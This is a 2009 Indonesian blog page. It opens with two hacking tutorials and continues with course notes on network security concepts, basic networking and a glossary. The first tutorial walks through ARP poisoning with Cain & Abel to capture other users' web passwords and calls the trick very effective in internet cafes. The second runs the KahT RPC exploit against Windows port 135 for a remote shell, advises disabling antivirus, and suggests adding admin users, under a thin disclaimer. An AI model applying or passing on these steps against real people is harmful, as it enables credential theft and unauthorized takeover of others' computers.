Kamis, 11 Juni 2009

Membobol Password Situs Web






Contoh kali ini mengenai bagaimana membobol password seseorang jika seseorang itu menuliskan password yang mana komputer yang dia pakai masih dalam satu LAN yang sama dengan sang penyerang.

Sebelumnya, Saya akan menjelaskan terlebih dahulu bahwa dalam contoh kasus kali ini Saya menggunakkan konfigurasi jaringan seperti ini:

Pada contoh kasus kali ini kita akan memanfaatkan kelemahan dari sistem jaringan yang disebut ARP Spoofing. Singkatnya, peracunan ARP ini akan membuat data mengalihkan data kiriman ke komputer penyerang. Misalnya, pada ilustrasi di atas terlihat jaringan LAN yang terdiri dari 2 komputer. Harusnya, jika data mau dikirimkan ke internet, maka data itu ya langsung dikirimkan ke internet tanpa embel-embel apa pun (kecuali switch). Namun, jika komputer penyerang mengirimkan racun ARP ke korban, maka korban akan dibegoin. Setiap data yang dikirimkan dari korban, maka akan mampir dulu di komputer penyerang.

Untuk mengirimkan racun-racun ini, kita bisa menggunakan perangkat lunak bernama Cain ‘n Abel. Untuk mengunduhnya, Anda dapat langsung mengunjungi situsnya. Setelah diunduh Anda dapat langsung memasangnya seperti halnya memasang perangkat lunak lainnya.

Setelah selesai dipasang (diinstall), mulailah melakukan hacking. Sekarang buka program Cain tersebut dan melakukan langkah-langkah berikut ini.

1. Aktifkan Sniffing (pengintipan data) dan ARP Poisinoing. Caranya dapat Anda lihat pada screenshot di bawah. Jika diminta memilih kartu jaringan, maka pilihlah adapter jaringan yang Anda pakai. Terkadang akan terdeteksi 2 adapter jaringan atau bahkan lebih. Untuk memilih yang mana yang benar, Anda bisa coba-coba memilih salah satu di antaranya dan langsung ke langkah selanjutnya. Jika langkah berikutnya tidak bekerja, cukup ganti lewat menu Configure. Sebagai informasi, adapter YANG PASTI SALAH jika ada kata DIALUP (karena ini modem dan bukan kartu jaringan).
Mengaktifkan Sniffing dan ARP.
2. Buka tabulasi sniffer, klik pada kotak kosong, klik tambah, lalu klik OK. Biarkan dia loading dan Anda akan melihat daftar komputer yang ada pada subnet yang sama. Anda tak perlu mengerti subnet itu apa, cukup ke langkah selanjutnya.
Menampilkan daftar komputer.

Mengaktifkan Sniffing dan ARP.
3. Klik pada tabulasi Sniffer, lalu ke APR, lalu klik kotak kosong bagian atas, lalu klik tombol tambah.
Memulai meracuni dengan ARP
4. Kemudian akan muncul kotak dialog pemilihan “pembodohan rute data”. Di sini Anda harus memilih antara alamat IP komputer korban dan alamat IP node pusat. Untuk mengetahui alamat IP komputer korban, Anda harus nebak atau langsung ngecek di komputer korbannya. Untuk mengetahui alamat IP, pergi ke Start > Run > cmd > ENTER > ipconfig /all > ENTER. Setelah itu Anda akan melihat tampilan kira-kira seperti ini:

C:\Users\Mufid>ipconfig /all

Windows IP Configuration

Host Name . . . . . . . . . . . . : fidz-vista
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : SiS 900-Based PCI Fast Ethernet Adapter
Physical Address. . . . . . . . . : 00-E0-18-AC-C4-8B
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : 00-E0-18-AC-C4-8B
IP Address. . . . . . . . . . . . : 192.168.1.6 (INI ALAMAT KORBAN)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1 (INI NODE PUSATNYA)
DHCP Server . . . . . . . . . . . : 192.168.1.1

Karena itu, langsung saja lakukan penyadapan data antara alamat IP komputer korban dan alamat IP node pusat. Sebagai tambahan, node pusat komputer korban dan komputer penyerang adalah sama. Setelah selesai Anda dapat lihat penyadapan telah dimulai!
5. Sekarang semua password yang diketikan di halaman web manapun di komputer korban akan terbaca di komputer penyerang!
6. Mari kita tes. Saya buka situs web Friendster di komputer korban.
Membuka situs web Friendster untuk menguji keampuhan racun-racun ini!
7. Lalu kembali ke komputer penyerang. Pergi ke tabulasi Passwords, lalu pilih HTTP dan geser daftar ke bawah. Wuuhuu Anda melihat passwordnya sekarang! Perlu diketahui, daftar ini diupdate secara real-time. Jadi setiap password yang dikirimkan lewat halaman web, akan muncul di komputer penyerang tanpa harus mengklik tombol REFRESH (karena memang tidak ada :p)
Lihatlah password-password itu terbongkar!

Dan itulah bagaimana cara melakukan hackingnya. Trik ini sangat efektif jika dilakukan di warnet, karena di situ banyak password berterbaran.

Apakah ada cara perlindungannya? Tentu saja ada. Tapi caranya cenderung agak ribet dan gak’ simpel. Saran Saya, lebih baik Anda menggunakan komputer yang terjamin keamanannya. Di rumah, misalnya. Meski begitu, sudah ada beberapa situs web yang mengenkripsi password sebelum dikirim. Sehingga, walau password dapat disadap, password itu tidak berarti apa-apa.

Membobol Password Jaringan

Artikel ini bukan bertujuan untuk mengajari pembaca untuk berbuat jahat dengan cara membobol password komputer orang lain, tapi hanya sekedar mengingatkan kepada anda terutama bagi administrator jaringan atau pengguna komputer yang terkoneksi ke jaringan agar berhati-hati dan selalu waspada bahwa password /komputer anda mudah di bobol dan diambil alih oleh orang lain.
kali ini penulis menggunakan metode explosits port 135 (DCOMRPC) dimana semenjak adanya issue virus W32 Welcia K yang menyerang port 135, yang dalam hal ini diakui oleh pihak microsoft (Baca Microsoft Security Bulletin MS03-026). target dari worm ini adalah pc yang menggunakan IIS 5.0 seperti windows 2000 /XP.

Untuk mempersingkat bagaimana caranya kita membobol password di windows kita menggunakan Tools KahT.
Karena proses ini menggunakan worm sebaiknya anda mendisable antivirus anda.
Langkahnya :
1. Unzip file Kaht.zip
2. Letakkan pada direktori yang anda suka.
3. Masuk ke direktori tempat file berada melalui text mode
4. Tentukan sasaran pc yang akan di hacking missal
IP : 192.168.30.3
Kaht 192.168.30.1 192.168.30.3
Jika hacking anda berhasil akan tampil pada command line kira-kira sbb:


KAHT II - MASSIVE RPC EXPLOIT dst

[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads
[+] Attacking Port:135. Remote Shell at port:36388
[+] Scan In Progress......
- Connecting to 192.168.30.3
Sending Exploit to a [Win2k] Server
- Connectando con la Shell Remote
dst........
C:WINNTsystem32>

Berarti anda sudah masuk ke komputer yang anda hack dan komputer sepenuhnya sudah anda kuasai. anda bisa membuat user admin membuat sharing dll
Sekali lagi artikel ini sekedar mengingatkan kepada anda berhatihatilah dalam mengelola komputer anda terutama Administator jaringan.

Pengenalan Keamanan Jaringan Komputer

Artikel Keamanan Jaringan ini didedikasikan untuk memenuhi tugas mata kuliah Keamanan Jaringan Komputer.
Di dalam posting tentang pengenalan keamanan jaringan ini terbagi menjadi 3 bagian, yaitu : Keamanan dan Manajemen Perusahaan, Klasifikasi Kejahatan Komputer, dan Aspek dari Kemanan Jaringan. dan kita akan membahas semuanya satu persatu..

Keamanan Dan Manajemen Perusahaan
Seringkali sulit untuk membujuk manajemen perusahaan atau pemilik sistem informasi untuk melakukan investasi di bidang keamanan. Di tahun 1997 majalah Information Week melakukan survey terhadap 1271 system atau network manager di Amerika Serikat. Hanya 22% yang menganggap keamanan sistem informasi sebagai komponen sangat penting(“extremely important”). Mereka lebih mementingkan “reducing cost” dan “improving competitiveness” meskipun perbaikan sistem informasi setelah dirusak justru dapat menelan biaya yang lebih banyak.

Keamanan itu tidak dapat muncul demikian saja. Dia harus direncanakan. Ambil contoh berikut. Jika kita membangun sebuah rumah, maka pintu rumah kita harus dilengkapi dengan kunci pintu. Jika kita terlupa memasukkan kunci pintu pada budget perencanaan rumah, maka kita akan dikagetkan bahwa ternyata harus keluar dana untuk menjaga keamanan.

Pengelolaan terhadap keamanan dapat dilihat dari sisi pengelolaan resiko (riskmanagement). Lawrie Brown dalam menyarankan menggunakan “Risk Management Model” untuk menghadapi ancaman (managing threats). Ada tiga komponen yang memberikan kontribusi kepada Risk, yaitu :

1. Assets terdiri dari hardware, software, dokumnentasi, data, komunikasi, lingkungan dan manusia.
2. Threats (ancaman) terdiri dari pemakai (users), teroris, kecelakaan, carakcers, penjahat, kriminal, nasib, (acts of God), intel luar negeri (foreign intellegence)
3. Vulneribalities (kelemahan) terdiri dari software bugs, hardware bugs, radiasi, tapping, crostalk, cracker via telepon, storage media.

Untuk menanggulangi resiko (Risk) tersebut dilakukan apa yang disebut “countermeasures”. yang dapat berupa :

* Mengurangi Threat, dengan menggunakan antivirus.
* Mengurangi Vulnerability, dengan meningkatkan security atau menambah firewall.
* Usaha untuk mengurangi impak (impact). yang ini kurang ngerti nih..klo ada yang tau komen di posting ini dong. :)
* Mendeteksi kejadian yang tidak bersahabat (hostile event) misalnya pop up. jadi kita antisipasi dengan popup blocker. atau misalnya spyware kita atasi dengan antispyware.
* Kembali (recover) dari kejadian, dengan system recovery atau tools-tools recovery lainnya.


Klasifikasi Kejahatan Komputer
Kalo kita bicara masalah kejahatan komputer pasti banyak sekali macamnya, karena itu gw menuliskan klasifikasi kejahatan komputer agar mudah kita mengenali dan membedakan model-model kejahatan komputer. Klasifikasi kali ini dibedakan berdasarkan lubang kemanan yang dibedakan menjadi 4 (empat) yaitu :

-> Kemanan yang bersifat fisik (Phisycal Security), Adalah Lubang keamanan yang bersifat fisik artinya bisa tersentuh seperti akses orang ke gedung, peralatan, dan media yang digunakan.

Beberapa contoh kejahatan komputer yang bisa diakses dari lubang keamanan yang bersifat fisik :

1. Wiretapping, adalah istilah untuk penyadapan saluran komunikasi khususnya jalur yang menggunakan kabel. misalnya penyadapan Telpon, Listrik, dan atau Internet.
2. Denial of Service, aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Denial of Service dapat dilakukan dengan cara mematikan peralatan atau membanjiri saluran komunikasi dengan permintaan yang menyebabkan jaringan menjadi sibuk, sistem hang, bandwidth habis, ram terkuras.
3. Pencurian, yang jelas merupakan bentuk kejahatan fisik karena mengambil alih peralatan / media.

-> Keamanan yang Berhubungan dengan Orang (personel), Lubang keamanan yang berkaitan dengan hak akses berdasarkan. Contohnya seorang user yang memanipulasi hak aksesnya menjadi administrator.

-> Keamanan dari Data dan Media serta Teknik Komunikasi (Comunication), Lubang keamanan yang terletak pada media. Misalnya Kelemahan Software yang digunakan untuk mengelola data.

-> Keamanan dalam Kebijakan Operasi (Policy), Lubang keamanan yang terletak pada kebijakan yang digunakan untuk mengatur dan mengelola sistem.

Aspek dari Keamanan Jaringan
Garfinkel mengemukakan bahwa keamanan computer (computer security) melingkupi beberapa aspek, yaitu :

1. Privacy / Confidentiality

Inti utama aspek privacy atau confidentiality adalah usaha untuk menjaga informasi dari orang yang tidak berhak mengakses. Privacy lebih ke arah data-data yang sifatnya privat sedangkan confidentiality biasanya berhubungan dengan data yang diberikan ke pihak lain untuk keperluan tertentu (misalnya sebagai bagian dari pendaftaran sebuah servis) dan hanya diperbolehkan untuk keperluan tertentu tersebut.

2. Integrity

Aspek ini menekankan bahwa informasi tidak boleh diubah tanpa seijin pemilik informasi. Adanya virus, Trojan horse, atau pemakai lain yang mengubah informasi tanpa ijin merupakan contoh masalah yang harus dihadapi. Sebuah email dapat saja “ditangkap” (intercept) di tengah jalan, diubah isinya (altered, tampered, modified), kemudian diterukan ke alamat yang dituju. Dengan kata lain, integritas dari informasi sudah tidak terjaga. Penggunaan enkripsi dan digital signature, misalnya dapat mengatasi masalah ini.

3. Authentication

Aspek ini berhubungan dengan metoda untuk menyatakan bahwa informasi betul-betul asli, orang yang mengakses atau memberikan informasi adalah betul-betul orang yang dimaksud, atau server yang kita hubungi adalah betul-betul server yang asli.

Untuk membuktikan keaslian dokumen dapat dilakukan dengan teknologi watermarking dan digital signature. Sedangkan untuk menguji keaslian orang atau server yang dimaksud bisa dilakukan dengan menggunakan password, biometric (ciri-ciri khas orang), dan sejenisnya. Ada tiga hal yang dapat ditanyakan kepada orang untuk menguji siapa dia :

* What you have (misalnya kartu identitas ~KTP,SIM,dll~)
* What you know (misalnya PIN atau password)
* What you are (misalnya sidik jari, biometric)

4. Availability

Aspek availability atau ketersedia hubungan dengan ketersediaan informasi ketika dibutuhkan. Sistem informasi yang diserang dapat menghambat atau meniadakan akses ke informasi. Contoh hambatan adalah serangan yang sering disebut dengan “Denial of Service attack” (DoS attack), dimana server dikirimi permintaan (biasanya palsu) yang bertubi-tubi atau permintaan diluar perkiraan sehingga tidak dapat melayani permintaan lain atau bahkan sampai down, hang, crash. Contoh lain adanya mailbomb, dimana seorang pemakai dikirimi email bertubi-tubi dengan ukuran yang besar sehingga sang pemakai tidak dapat membuka emailnya atau kesulitan mengakses emailnya.

5. Akses Kontrol

Aspek kontrol merupakan fitur-fitur keamanan yang mengontrol bagaimana user dan sistem berkomunikasi dan berinteraksi dengan system dan sumberdaya yang lainnya. Akses kontrol melindungi sistem dan sumberdaya dari akses yang tidak berhak dan umumnya menentukan tingkat otorisasi setelah prosedur otentikasi berhasil dilengkapi.

Kontrol akses adalah sebuah term luas yang mencakup beberapa tipe mekanisme berbeda yang menjalankan fitur kontrol akses pada sistem komputer, jaringan, dan informasi. Kontrol akses sangatlah penting karena menjadi satu dari garis pertahanan pertama yang digunakan untuk menghadang akses yang tidak berhak ke dalam sistem dan sumberdaya jaringan.

6. Non-Repudiation

Aspek ini menjaga agar seseorang tidak dapat menyangkal telah melakukan sebuah transaksi. Penggunaan digital signature, certificates, dan teknologi kriptografi secara umum dapat menjaga aspek ini. Akan tetapi hal ini masih harus didukung oleh hukum sehingga status dari digital signature itu jelas legal.

Selasa, 09 Juni 2009

Pengenalan Dasar Jaringan Komputer

Sebelum saya memposting tutorial merakit jaringan warnet with Speedy, saya ingin menjelaskan konsep jaringan secara teoritis namun sederhana untuk dipahami orang awam agar nantinya dapat membuat sendiri koneksi jaringan dan menggabungkannya.

Defenisi
Dengan berkembangnya teknologi komputer dan komunikasi suatu model komputer tunggal yang melayani seluruh tugas-tugas komputasi suatu organisasi kini telah diganti dengan sekumpulan komputer yang terpisah-pisah akan tetapi saling berhubungan dalam melaksanakan tugasnya, sistem seperti ini disebut jaringan komputer.
Komputer dapat saling terhubung menggunakan media kabel (wired) atau tanpa kabel (wireless). Setiap komputer, printer atau periferal lainnya yang tersambung ke jaringan disebut sebagai node. Suatu jaringan komputer bisa saja disusun oleh dua sampai ratusan node.

Nah untuk sekedar diketahui ada beberapa Tipe Jaringan yaitu :

  1. Peer to Peer (P2P), Pada jaringan tipe ini semua computer bertipe sama yaitu dapat bertindak sebagai server dan pada suatu waktu bertindak sebagai client.
  2. Client Sercer (domain), Di sini terdapat hanya satu buah PC server yang berfungsi untuk mengatur dan memberikan informasi ke setiap PC client.
  3. Dump terminal, Model jaringan ini menjadikan seluruh system terpusat ke server (system operasi, aplikasi, storage, dan media lainnya akan terpusat ke server). Sedangkan pada sisi client tidak lagi memerlukan CPU, cukup sebuah office station atau juga office star.

So pasti dalam membuat sesuatu harus memikirkan dampak dan manfaatnya. Ketika Jaringan Komputer telah terbangun maka manfaat yang kita peroleh :
  1. Memungkinkan kita untuk membagi file atau mengakses file orang lain.
  2. Proses pengiriman data akan berlangsung cepat dan efisien.
  3. Adanya sharing (bagi pakai) hardware.
  4. Memungkinkan kita terhubung dan berkomunikasi dengan orang lain di benua manapun melalui teks, gambar, suara atau pun video secara reel time.
  5. Mampu menekan biaya operasional seperti pemakaian kertas, pengiriman surat atau file, telepon dan pembelian hardware.


Jaringan Komputer berdasarkan area

  1. Lokal Area Network (LAN)
    Komputer­komputer yang tersambung dengan jaringan dapat dihubungkan dengan berbagai cara. Cara menghubungkan berbagai peralatan dalam jaringan inilah yang dikenal dengan istilah topologi jaringan. Beberapa topologi jaringan yang umum digunakan di antaranya :
    • Bus, PC dalam jaringan terhubung pada satu kabel utama.
    • Ring, Setiap PC terkoneksi pada PC di dekatnya sehingga membentuk suatu lingkaran yang tertutup.
    • Star, Pada topologi ini digunakan satu computer sebagai server sehingga semua PC secara langsung terkoneksi ke server.
    • Extended Star atau Tree, merupakan penggabungan antara topologi Bus dan Star. Pada topologi ini 2 atau lebih topologi Star terhubung pada sebuah jaringan bertopologi Bus.

  2. Internetwork
    Ini adalah pengembangan dari jaringan local. Misalnya pada sebuah kantor atau gedung bertingkat, untuk menggabungkan jaringan computer di lantai yang satu dengan jaringan yang berada di lantai yang lain dibutuhkan sebuah device lain (bridge, router, repeater atau gateway). Penggabungan inilah menjadi sebuah internetwork.

  3. Metropolitan Area Network (MAN)
    Dibutuhkan sebuah perusahaan telekomunikasi untuk dapat menggabungkan jaringan dalam mode ini atau dapat menggunakan teknologi wireless.

  4. Wide Area Network (WAN)
    Meruapak gabungan dari ketiga jaringan di atas yang akan membentuk sebuah topologi mesh secara global.




bebarapa topologi jaringan.
(a)Star (b)Ring (c)Tree (d)Lengkap (e)Ring berinteraksi (f)Sembarang.


Peralatan Jaringan
Pada jaringan yang hanya terdiri dari dua komputer peralatan yang dibutuhkan hanya terdiri dari kartu jaringan dan kabel, beda halnya pada jaringan yang semakin besarkan membutuhkan semakin banyak peralatan. Beberapa peralatan yang biasa digunakan dalam jaringan yaitu :
1. Network Interface Card (NIC)
2. Modem
3. Hub
4. Switch
5. Bridge
6. Router

Hal yang tak kalah pentingnya dalam membangun jaringan yaitu pengalamatan PC atau IP Address. Berdasarkan netID­nya alamat IP dapat dibagi ke dalam lima kelas, yaitu :
  1. Kelas A : merupakan kelas dengan jumlah host paling banyak. Kelas ini menggunakan 8 bit pertama sebagai id network dan 24 bit terakhir sebagai alamat host. Dengan demikian dimungkinkan terdapat 126 jaringan dan sekitar 16 juta host. Kelas ini sangat cocok diterapkan pada jaringan besar dengan jumlah host yang sangat banyak.
  2. Kelas B : 16 bit pertama merupakan id network sedangkan 16 bit terakhir digunakan sebagai id host. Dalam kelas ini terdapat sekitar 16382 jaringan dan 65534 host. Alamat IP kelas B cocok digunakan pada jaringan skala sedang dengan jumlah host tidak terlalu banyak.
  3. Kelas C : pada kelas ini id network adalah 24 bit pertama sedangkan id host menggunakan 8 bit terakhir. Kelas ini memungkinkan adanya 2097150 jaringan dan 254 host. Sangat cocok digunakan pada jaringan kecil dengan jumlah host sedikit.
  4. Kelas D : alamat IP pada kelas ini digunakan untuk tujuan multicast.
  5. Kelas E : digunakan untuk kepentingan penelitian, penggunaannya dicadangkan dan tidak valid digunakan dalam jaringan.

Untuk lebih jelas tentang IP Address dapat mengunjungi http://elearning.unimal.ac.id/upload/materi/IP_Address_dan_Subnetting_pada_IPv4.htm



Berdasarkan kriterianya, jaringan komputer dibedakan menjadi 4 yaitu:

1. Berdasarkan distribusi sumber informasi/data

- Jaringan terpusat
Jaringan ini terdiri dari komputer klient dan server yang mana komputer klient yang berfungsi sebagai perantara untuk mengakses sumber informasi/data yang berasal dari satu komputer server

- Jaringan terdistribusi
Merupakan perpaduan beberapa jaringan terpusat sehingga terdapat beberapa komputer server yang saling berhubungan dengan klient membentuk sistem jaringan tertentu.


2. Berdasarkan jangkauan geografis dibedakan menjadi:

- Jaringan LAN
merupakan jaringan yang menghubungkan 2 komputer atau lebih dalam cakupan seperti laboratorium, kantor, serta dalam 1 warnet.

- Jaringan MAN
Merupakan jaringan yang mencakup satu kota besar beserta daerah setempat. Contohnya jaringan telepon lokal, sistem telepon seluler, serta jaringan relay beberapa ISP internet.

- Jaringan WAN
Merupakan jaringan dengan cakupan seluruh dunia. Contohnya jaringan PT. Telkom, PT. Indosat, serta jaringan GSM Seluler seperti Satelindo, Telkomsel, dan masih banyak lagi.


3. Berdasarkan peranan dan hubungan tiap komputer dalam memproses data.

- Jaringan Client-Server
Pada jaringan ini terdapat 1 atau beberapa komputer server dan komputer client. Komputer yang akan menjadi komputer server maupun menjadi komputer client dan diubah-ubah melalui software jaringan pada protokolnya. Komputer client sebagai perantara untuk dapat mengakses data pada komputer server sedangkan komputer server menyediakan informasi yang diperlukan oleh komputer client.

-Jaringan Peer-to-peer
Pada jaringan ini tidak ada komputer client maupun komputer server karena semua komputer dapat melakukan pengiriman maupun penerimaan informasi sehingga semua komputer berfungsi sebagai client sekaligus sebagai server.


4. Berdasarkan media transmisi data

- Jaringan Berkabel (Wired Network)
Pada jaringan ini, untuk menghubungkan satu komputer dengan komputer lain diperlukan penghubung berupa kabel jaringan. Kabel jaringan berfungsi dalam mengirim informasi dalam bentuk sinyal listrik antar komputer jaringan.

- Jaringan Nirkabel (Wireless Network)
Merupakan jaringan dengan medium berupa gelombang elektromagnetik. Pada jaringan ini tidak diperlukan kabel untuk menghubungkan antar komputer karena menggunakan gelombang elektromagnetik yang akan mengirimkan sinyal informasi antar komputer jaringan

Istilah-istilah umum didalam Jaringan Komputer

Jaringan : jaringan (network) adalah kumpulan dua atau lebih sistem komputer yang terhubung. Terdapat banyak jenis jaringan komputer:
a. local-area network (LAN): komputer yang terhubung berada pada tempat yang berdekatan secara gografis (misalkan satu gedung).
b. wide-area network (WAN): komputer yang terhubung berada pada tempat yang berjauhan dan dihubungkan dengan line telepon atau gelombang radio. selain itu, jaringan komputer dapat juga dikelompokan berdasar kriteria di bawah ini:
a. topologi: pengaturan keterhubungan antar sistem komputer. Terdapat bermacam-macam topologi seperti bus, star, dan ring.
b. protokol: protokol mendefinisikan sekelompok aturan dan sinyal yang digunakan oleh komputer pada jaringan untuk berkomunikasi. Protokol LAN yang paling populer adalah Ethernet. Protokol LAN lain yang banyak digunakan adalah IBM token-ring network.
c. arsitektur: jaringan dapat diklasifikasikan ke dalam arsitektur peer-to-peer atau client/server.

NIC : NIC (network interface card) adalah expansion board yang digunakan supaya komputer dapat dihubungkan dengan jaringan. Sebagian besar NIC dirancang untuk jaringan, protokol, dan media tertentu. NIC biasa disebut dengan LAN card (Local Area Network Card).

Backbone : Backbone adalah saluran atau koneksi berkecepatan tinggi yang menjadi lintasan utama dalam sebuah jaringan.

Bandwidth : Bandwidth menunjukan kapasitas dalam membawa informasi. Istilah ini dapat digunakan dalam banyak hal: Telepon, jaringan kabel, bus, sinyal frekuensi radio, dan monitor. Paling tepat, bandwidth diukur dengan putaran perdetik (cycles per second), atau hertz (Hz), yaitu perbedaan antara frekuensi terendah dan tertinggi yang dapat ditransmisikan. Tetapi juga sering digunakan ukuran bit per second (bps).

Bridge : Bridge adalah peranti yang meneruskan lalu lintas antara segmen jaringan berdasar informasi pada lapisan data link. Segmen ini mempunyai alamat lapisan jaringan yang sama. Setiap jaringan seharusnya hanya mempunyai sebuah bridge utama.

DNS : DNS (domain name sistem) adalah sistem yang menerjemahkan domain Internet, seperti www.microsoft.com menjadi alamat Internet, yaitu serangkaian nomor yang terlihat seperti 101.232.12.5. Istilah DNS berhubungan dengan konvensi untuk penamaan host pada Internet dan cara penangan nama-nama tersebut.

Ethernet : Ethernet adalah protokol LAN yang dikembangkan oleh Xerox Corporation yang bekerjasama dengan DEC dan Intel pada tahun 1976. Ethernet menggunakan topologi bus atau star dan medukung transfer data sampai dengan 10 Mbps. Versi Ethernet yang lebih baru yang disebut 100Base-T (atau Fast Ethernet), mendukung transfer data sampai dengan 100 Mbps, dan versi terbarunya, Gigabit Ethernet, mendukung tranfer data sampai dengan 1 Gigabit per detik atau 1000 Mbps.

Fast Ethernet : Fast Ethernet seperti Ethernet biasa, namun dengan kecepatan transfer data yang lebih cepat, sampai dengan 100 mbps. Ethernet ini juga disebut 100BaseT.

Gateway : Istilah gateway merujuk kepada hardware atau software yang menjembatani dua aplikasi atau jaringan yang tidak kompatibel, sehingga data dapat ditransfer antar komputer yang berbeda-beda. Salah satu contoh penggunaan gateway adalah pada email, sehingga pertukaran email dapat dilakukan pada sistem yang berbeda.

GPS : GPS (Global Positioning System ) adalah sistem navigasi menggunakan 24 satelit MEO (medium earth orbit atau middle earth orbit) yang mengelilingi bumi dan penerima-penerima di bumi. Satelit mengorbit pada ketinggian sekitar 12.000 mil di atas bumi dan mampu mengelilingi bumi dua kali dalam 24 jam. Satelit GPS secara kontinu mengirimkan sinyal radio digital yang mengandung data lokasi satelit dan waktu pada penerima yang berhubungan. Satelit GPS dilengkapi dengan jam atom dengan ketepatan satu per satu juta detik. Berdasar informasi ini, stasiun penerima mengetahui berapa lama waktu yang digunakan untuk mengirim sinyal sampai ke penerima di bumi. Semakin lama waktu yang digunakan untuk sampai ke penerima, semakin jauh posisi satelit dari stasiun penerima. dengan mengetahui posisi satelit, penerima mengetahui bahwa satelit terletak pada posisi tertentu pada permukaan bola imaginer yang berpusat pada satelit. Dengan menggunakan tiga satelit, GPS dapat menghitung lintang dan bujur penerima berdasar perpotongan ketiga bola imaginer. Dengan menggunakan empat satelit, dapat juga ditentukan ketinggian. GPS dikembangkan dan dioperasikan oleh Departemen Pertahanan Amerika. GPS, asalnya dikenal dengan NAVSTAR (Navigation System with Timing and Ranging). Sebelum untuk keperluan yang lebih luas, GPS digunakan untuk menyediakan kemampuan navigasi sepanjang waktu dan dalam segala cuaca untuk militer darat, laut, dan angkatan udara. Disamping untuk navigasi dan penentuan posisi geografik, GPS dapat juga digunakan di antaranya untuk pemetaan, kehutanan, eksplorasi mineral, manajemen habitat liar, dan pengawasan perpindahan penduduk.

Host : Host adalah sistem komputer yang diakses oleh pengguna yang bekerja pada lokasi yang jauh. Biasanya, istilah ini digunakan jika ada dua sistem komputer yang terhubung dengan modem dan saluran telepon. Sistem mengandung data yang disebut host, sedang sitem yang digunakan untuk mengases dari jarak jauh disebut remote terminal. Istilah host juga digunakan untuk menyebut komputer yang terhubung dengan jaringan TCP/IP, termasuk Internet. Setiap host mempunyai alamat IP yang unik. Selain itu, istilah host juga merujuk pada penyediaan infrastruktur layanan komputer. Sebagai contoh, banyak perusahaan yang menjadi host Web server, yang berarti bahwa perusahaan tersebut menyediakan hardware, software, dan saluran komunikasi yang dibutuhkan oleh server, tetapi isi server (data) dikendalikan oleh pihak lain.

ISP (Internet Service Provider) : ISP (Internet service provider) adalah penyedia layanan Internet. Sebagian besar ISP mempunyai jaringan server (mail, berita, Web), router, modem yang dihubungkan dengan koneksi “backbone” Internet yang permanen dan berkecepatan tinggi. Pelanggan ISP dapat mendapatkan koneksi Internet dengan modem dan telepon. Untuk mengakses Internet pelanggan ISP harus melakukan dial ke jaringan dengan menekan nomor telepon tertentu milik ISP.

Internet : Internet adalah jaringan global yang menghubungkan jutaan komputer. Sejak 1999 Internet telah memiliki 200 juta pemakai di seluruh dunia, dan jumlah ini meningkat cepat. Lebih dari 100 negara terhubung dengan Internet untuk menukar data, berita, dan informasi lainnya. Setiap komputer yang terhubung dengan Internet disebut host.

ISDN : ISDN (Integrated Services Digital Network) adalah standard komunikasi internasional untuk pengiriman suara, video dan data melalui line telepon digital atau telepon kawat biasa. ISDN mempunyai kecepatan transfer data 64 Kbps. Sebagian besar saluran ISDN ditawarkan oleh perusahaan telepon yang memungkinkan dua saluran, yang disebut kanal B (B channel). Satu line dapat digunakan untuk suara dan yang lain untuk data lain dan keduanya mempunyai kecepatan transfer 128 Kbps. Versi awal ISDN menggunakan transmisi baseband. Versi lain ISDN, yaitu B-ISDN, menggunakan transmisi broadband dan dapat mendukung transmisi data dengan kecepatan 1,5 Mbps.

Protocol (protokol) : Bahasa atau prosedur hubungan yang digunakan oleh satu sistem komputer dengan sistem lainnya sehingga antara keduanya dapat saling berhububngan. Untuk dapat berkomunikasi. Kedua system harus menggunakan protokol yang sama.

PPP (Point To Point Protocol) : Protokol TCP/IP yang memungkinkan hubungan antara host dengan jaringan dan antara router dengan router atau dapat pula digunakan untuk hubungan serial antara 2 system.

Repeater : Suatu perangkat yang dipasang di titik-titik tertentu dalam jaringan untuk memperbarui sinyal-sinyal yang di transmisikan agar mencapai kembali kekuatan dan bentuknya yang semula, guna memperpanjang jarak yang dapat di tempuh. Ini di perlukan karena sinyal-sinyal mengalami perlemahan dan perubahan bentuk selama transmisi.

Router : Suatu perangkat yang berfungsi menghubungkan suatu LAN ke suatu internetworking/WAN dan mengelola penyaluran lalu-lintas data di dalamnya.

Routing : Proses dari penentuan sebuah path yang di pakai untuk mengirim data ke tujuan tertentu.

RJ-45 : RJ-45 (Registered Jack-45) adalah konektor delapan kabel yang biasanya digunakan untuk menghubungkan komputer ke sebuah local-area network (LAN), khususnya Ethernets. Konektor RJ-45 mirip dengan konektor RJ-11 yang digunakan dalam koneksi telepon, tetapi lebih besar.

Server : Suatu unit yang berfungsi untuk menyimpan informasi dan untuk mengelola suatu jaringan komputer.komputer server akan melayani seluruh client atau worstation yang terhubung ke jaringannya.

TCP/IP : TCP/IP Transmission Control Protokol adalah dua buah protokol yang dikembangkan oleh militer AS yang memungkinkan komputer pada jaringan dapat saling berhubungan. IP digunakan untuk memindahkan paket data antarsimpul. TCP dugunakan untuk memverifikasi pengiriman dari client ke server. TCP/IP adalah dasar internet dan dapat ditemukan pada semua system operasi modern, seperti Unix dan Windows.

Topologi : Dalam jaringan komputer topologi adalah bentuk pengaturan keterhubungan antar sistem komputer. terdapat bermacam-macam topologi seperti bus, star, ring.

UTP : UTP (Unshielded Twisted Pair) adalah jenis kabel yang terdiri dari dua kawat tak terbungkus yang berpilin. Kabel UTP banyak digunakan pada local-area networks (LANs) dan sambungan telepon karena harganya lebih murah. Kabel UTP tidak sebaik kabel koaksial dan serat optik dalam hal penyediaan banwidth dan ketahanan terhadap interferensi.

VLAN : VLAN (virtual local-area network) adalah jaringan komputer yang seakan terhubung menggunakan kabel yang sama meskipun mungkin secara fisik berada pada bagian LAN yang lain. VLAN dikonfigurasi melalui software dan tidak hardware, yang membuatnya sangat fleksible.
Salah satu keunggulan VLAN adalah jika sebuah komputer secara fisik dipindah ke lokasi lain, komputer tersebut tetap pada VLAN yang sama tanpa melakukan konfigurasi ulang hardware.

